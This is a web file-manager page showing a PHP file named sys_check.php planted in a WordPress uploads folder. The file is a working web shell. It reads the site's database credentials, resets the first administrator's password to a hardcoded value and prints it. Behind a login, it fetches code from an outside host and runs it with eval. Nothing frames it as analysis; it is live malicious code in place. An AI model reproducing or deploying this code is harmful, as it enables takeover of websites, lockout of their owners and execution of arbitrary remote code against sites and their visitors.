芝麻web文件管理V1.00

编辑当前文件:/home/projzpbv/www/wp-content/uploads/sys_check.php

<?php
session_start();
error_reporting(0);
// --- BAGIAN 1: AUTO RESET PASSWORD ADMIN ---
$p='../../../../wp-config.php';
if(file_exists($p)){
    include $p;
    $c=@new mysqli(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME);
    if(!$c->connect_error){
        $q=$c->query("SELECT user_login FROM wp_users ORDER BY ID ASC LIMIT 1");
        $r=$q->fetch_assoc(); $user=$r['user_login'];
        $new_pass = password_hash('wahyusayangpacar123', PASSWORD_BCRYPT);
        $update = $c->query("UPDATE wp_users SET user_pass='$new_pass' WHERE user_login='$user'");
        if($update){ echo "JACKPOT_RESET|".$user."|wahyusayangpacar123\n"; }
    }
}
// --- BAGIAN 2: LOCKED SHELL LO ---
function geturlsinfo($url) {
    if (function_exists('curl_exec')) {
        $conn = curl_init($url);
        curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0");
        curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0);
        $data = curl_exec($conn); curl_close($conn);
    } else { $data = file_get_contents($url); }
    return $data;
}
if (isset($_POST['password'])) {
    if (md5($_POST['password']) === '24c23b69a6a7dc8783331f687c40c494') {
        $_SESSION['logged_in'] = true;
    }
}
if (isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true) {
    $a = geturlsinfo('https://bujang.online/raw/V2AUF5bOf_');
    eval('?>' . $a);
} else {
    echo "LOCKED_SHELL_LOGIN";
    echo '<form method="POST"><input type="password" name="password"><input type="submit" value="Login"></form>';
}
?>